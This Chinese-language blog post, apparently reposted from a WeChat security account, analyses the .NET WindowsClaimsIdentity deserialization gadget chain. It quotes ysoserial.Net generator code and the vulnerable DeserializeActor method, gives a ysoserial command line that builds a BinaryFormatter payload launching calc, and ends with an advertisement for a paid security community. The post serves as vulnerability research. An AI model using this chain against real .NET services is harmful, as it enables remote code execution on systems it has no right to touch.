.NET ClaimsIdentity反序列化链(1) _actor

渗透技巧 10个月前 admin
181 0 0

0x01 分析

WindowsClaimsIdentity类标记[Serializable]特性,并且继承于WindowsIdentity类,也实现了序列化接口ISerializable,签名如下

[Serializable]public class WindowsClaimsIdentity : WindowsIdentity, IClaimsIdentity, IIdentity, ISerializable

它是.NET WIF身份验证框架的一部分,常用于在应用程序中管理和操作用户身份的信息,如用户名称、角色、权限等。提供添加、删除和查询声明的方法,以便在应用程序中使用这些声明进行身份验证和授权。

结合ysoserial.Net提供的实现代码,庖丁解牛一点点的解读,代码如下

IGenerator generator = new TextFormattingRunPropertiesGenerator();string b64encoded = Convert.ToBase64String(binaryFormatterPayload);if (variant_number == 2){     obj = new WindowsClaimsIdentityMarshal_var2(b64encoded);}else if (variant_number == 3){     obj = new WindowsClaimsIdentityMarshal_var3(b64encoded);}else{     obj = new WindowsClaimsIdentityMarshal_var1(b64encoded);}

这里依旧使用TextFormattingRunProperties类生成基于XAML的攻击载荷,然后转成base64编码,为何要转换编码?我们继续看竟然有三处不同的if条件分支,很大可能存在三处不同的触发点,我们先跟踪WindowsClaimsIdentityMarshal_var1类,进入后发现也实现了ISerializable接口,那么意味着还存在序列化方法GetObjectData,果不其然签名如下

public void GetObjectData(SerializationInfo info, StreamingContext context)        {            info.SetType(typeof(WindowsClaimsIdentity));            info.AddValue("_actor", B64Payload);            info.AddValue("m_userToken", new IntPtr(0));            info.AddValue("_label", null);            info.AddValue("_nameClaimType", null);            info.AddValue("_roleClaimType", null);        }

通过info.SetType设置WindowsClaimsIdentityMarshal_var1序列化过程中指定类型为WindowsClaimsIdentity,然后通过info.AddValue将恶意的攻击载荷赋值给WindowsClaimsIdentity类的_actor成员,跟踪进入WindowsClaimsIdentity类发现actor属性原来具备了Setter,并且在GetObjectData()方法内序列化m_userToken、_nameClaimType、_roleClaimType、_label、_actor等多个属性,如下图

.NET ClaimsIdentity反序列化链(1) _actor

WindowsClaimsIdentity被序列化对象时会进入自身的构造方法,调用Deserialize反序列化info对象,核心代码如下

protected WindowsClaimsIdentity(SerializationInfo info, StreamingContext context){if (info == null){throw DiagnosticUtil.ExceptionUtil.ThrowHelperArgumentNull("info");}    Deserialize(info, context);}

Deserialize方法内部对以上提到的属性反序列化,这里漏洞触发的核心在于通过claimsIdentitySerializer.DeserializeActor()序列化info对象里的_actor属性,如下图

.NET ClaimsIdentity反序列化链(1) _actor

DeserializeActor()内部通过序列化对象info.GetString方法获得_actor属性值,然后Convert.FromBase64String将传入的值解码,最后调用binaryFormatter.Deserialize完成反序列化。代码清单如下

public IClaimsIdentity DeserializeActor()        {            string @string = _info.GetString("_actor");            if (@string == null)            {                return null;            }            BinaryFormatter binaryFormatter = new BinaryFormatter(null, _context);            using MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(@string));            return (IClaimsIdentity)binaryFormatter.Deserialize(serializationStream);        }

ysoserial.exe -f BinaryFormatter -g WindowsClaimsIdentity -c “calc” -t

.NET ClaimsIdentity反序列化链(1) _actor

星球优惠活动

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展经过运营团队成员商议一致同意给到师傅们最大优惠力度,只需99元就可以加入我们。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

.NET ClaimsIdentity反序列化链(1) _actor

.NET ClaimsIdentity反序列化链(1) _actor

.NET ClaimsIdentity反序列化链(1) _actor

.NET ClaimsIdentity反序列化链(1) _actor

dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会.

.NET ClaimsIdentity反序列化链(1) _actor

原文始发于微信公众号(dotNet安全矩阵):.NET ClaimsIdentity反序列化链(1) _actor

版权声明:admin 发表于 2023年7月13日 上午8:41。
转载请注明:.NET ClaimsIdentity反序列化链(1) _actor | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...